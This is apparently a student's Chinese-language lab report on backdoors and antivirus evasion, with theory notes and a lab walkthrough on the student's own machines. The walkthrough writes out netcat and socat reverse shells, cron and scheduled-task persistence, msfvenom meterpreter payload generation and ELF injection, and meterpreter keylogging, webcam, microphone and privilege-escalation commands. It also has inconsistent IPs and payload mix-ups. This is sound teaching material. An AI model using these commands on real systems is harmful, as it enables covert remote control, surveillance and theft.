一、实验内容
1.学习总结——后门与免杀
1)后门基本概念
后门就是不经过正常认证流程而访问系统的通道。
狭义后门:特指潜伏于操作系统中专门做后门的一个程序,“坏人”可以连接这个程序,远程执行各种指令。
后面类型有编译器后门、操作系统后门、应用程序后门、潜伏于操作系统中或伪装为特定应用的专用后门程序。
2)后门技术
- 管控功能实现技术
Windows:
基于Windows启动目录的自启动
基于注册表的自启动
基于服务程序的自启动
基于ActiveX控件的自启动
基于计划任务(Scheduled Tasks)的自启动Linux平台:cron
自启动技术
进程隐藏技术
数据穿透与躲避技术
3)后门攻击过程
木马程序->植入系统->木马运行->免杀技术->穿透和躲避
4)免杀基本概念
英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
5)免杀技术
修改特征码
修改校验和
花指令免杀
花指令其实就是一段毫无意义的指令,也可以称之为垃圾指令。花指令是否存在对程序的执行结果没有影响,它存在的唯一目的就是阻止反汇编程序,或对反汇编设置障碍。
- 加壳免杀
利用特殊的算法,对 EXE、ELF、DLL 文件里的资源进行压缩或
者加密。压缩或加密之后的文件可以独立运行,解压或解密过程完全隐蔽,都在内存中完成。
- 内存免杀
2.问题回答
1)例举你能想到的一个后门进入到你系统中的可能方式?
一个电子邮件附件或下载的文件可能包含未授权的代码,当用户打开它时就会执行该代码,并在用户的计算机上安装后门。
2)例举你知道的后门如何启动起来(win及linux)的方式?
在Windows系统中,后门可能会注册为一个服务或作为启动项来自动运行。它也可以嵌入到合法的应用程序中,或者使用计划任务来定期执行。
在Linux系统中,后门可能会被添加到/etc/rc.local或类似的启动脚本中以实现开机启动,也可能会被配置为cron job定期执行,或者是被插入到系统守护进程中作为合法进程的一部分来隐蔽运行。
3)Meterpreter有哪些给你印象深刻的功能?
广泛的操作系统支持:Meterpreter支持多种操作系统,包括Windows、Linux、Mac OS等,使得它成为一个跨平台的工具。
持久性连接:与传统的shell不同,Meterpreter可以维持一个与目标系统的持久性连接,即使目标系统重新启动或者网络连接中断后也能恢复会话。
内存中运行:Meterpreter可以在内存中运行而不需在硬盘上留下任何文件,这使得它难以被检测到,增加了隐蔽性。
文件管理:用户可以通过Meterpreter上传、下载文件,甚至查看远程系统的文件结构。
键盘记录和屏幕捕获:Meterpreter可以记录用户的键盘输入和截取屏幕图像,这对于收集情报非常有用。
4)如何发现自己有系统有没有被安装后门?
查看系统日志:检查系统日志文件,寻找异常登录尝试或其他异常行为。
检查启动项和服务:查看哪些程序和服务在系统启动时自动运行。
检查进程列表:观察是否有未知或可疑进程正在运行。
文件系统扫描:查找未知或可疑的新文件或修改过的旧文件。
使用反病毒软件:定期更新并运行全盘扫描。
二、实验过程
1.使用netcat获取主机操作Shell,cron启动某项任务
1)主机与虚拟机ping通
主机IP:192.168.3.87
虚拟机IP:192.168.61.132
2)netcat获取主机操作shell
本机输入
ncat.exe -l -p 8888
虚拟机进入root模式
输入nc 192.168.3.87 -e /bin/sh
回到本机,输入
ls
能够显示虚拟机目录下的文件
3)利用cron创建定时任务
输入
whoami
检查当前是何用户
创建每分钟运行一次的写任务
echo "* * * * * echo "20222316???" > /home/shangyutong/Desktop/20222316.txt" >/var/spooL/cron/crontabs/root
2.使用socat获取主机操作Shell, 启动任务计划
1)主机与虚拟机ping通
主机IP:171.16.213.153
虚拟机IP:192.168.61.132
2)socat连接本机
本机进入socat文件夹
socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
虚拟机输入
socat - tcp:172.16.213.153:8888
提前准备好一个任务,虚拟机输入运行命令
schtasks /create /sc minute /mo 1 /tn"20222316syt"/tr D:\HuaweiMoveData\Users\86136\Desktop\20222316syt,exe
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用netcat传送到主机并运行获取主机Shell
1)生成可执行文件
虚拟机中输入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.61.132 LPORT=8888 -f exe > 2316backdoor.exe
2)利用netcat传送到主机(关闭防病毒的实时保护)
本机输入
ncat.exe -lv 8888 > "D:\HuaweiMoveData\Users\86136\Desktop\2316backdoor.exe"
文件保存在桌面
虚拟机输入
nc 192.168.10.20 8888 < 2316backdoor.exe
可以在桌面找到该文件
3)虚拟机开启监听
虚拟机输入
msfconsole
服务启动后,依次输入
use exploit/multi/handler(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)
set LHOST 192.168.61.132 (攻击机的IP地址,和生成后门程序时指定的IP相同)
set LPORT 8888(监听的端口)
输入
exploit
使监听模块开始运行,并在Windows终端运行后门2301backdoor.exe文件
输入ls
验证连接成功
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1)获取目标主机音频、摄像头、击键记录等内容
音频
record_mic
截屏
screenshot
拍照
webcam_snap
开始读取键盘记录
keyscan_start
读取键盘记录结束keyscan_dump
2)提权
查看当前用户
getuid
输入提权指令getsystem
5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
1)生成新的shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.85.132 LPORT=8888 -x /home/shangyutong/pwn1 -f elf > pwn20222316
赋予权限
chmod a+x pwn20222316
2)重新打开监听
虚拟机输入
msfconsole
服务启动后,依次输入
use exploit/multi/handler(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)
set LHOST 192.168.61.132 (攻击机的IP地址,和生成后门程序时指定的IP相同)
set LPORT 8888(监听的端口)
输入
exploit
使监听模块开始运行,并打开虚拟机另一个终端运行pwn20222316
输入
ls
验证连接成功
三、问题及解决方案
- 问题1:监听时无法创建对话。
问题1解决方案:关闭本机实时保护和防火墙。
四、学习感悟、思考等
- 在这次实验过程中,我对网络安全有了更深层次的理解。首先,通过使用netcat和socat获取远程主机的shell控制权,我了解到了这些工具在渗透测试中的应用价值。它们可以简单而有效地建立远程控制通道,这对于评估网络的安全性非常有用。同时,我也学习了如何利用cron和计划任务来定时执行任务,这不仅是在日常自动化运维中的重要技能,也是理解恶意软件如何在系统中潜伏的关键知识。
- 使用Metasploit生成带有reverse shell功能的可执行文件,然后通过netcat传送至目标主机运行,进一步强化了我对远程控制和后门概念的理解。Meterpreter的强大功能给我留下了深刻的印象。
- 此外,实验还涉及到了利用Meterpreter进行音频录制、屏幕截图、摄像头拍照以及键盘记录等功能,很有意思。
- 这次实验不仅加深了我对网络安全理论的认识,也提高了我在实践中的技能水平。我学到了如何使用各种工具和技术来进行渗透测试,并理解了在防御方面需要采取的措施。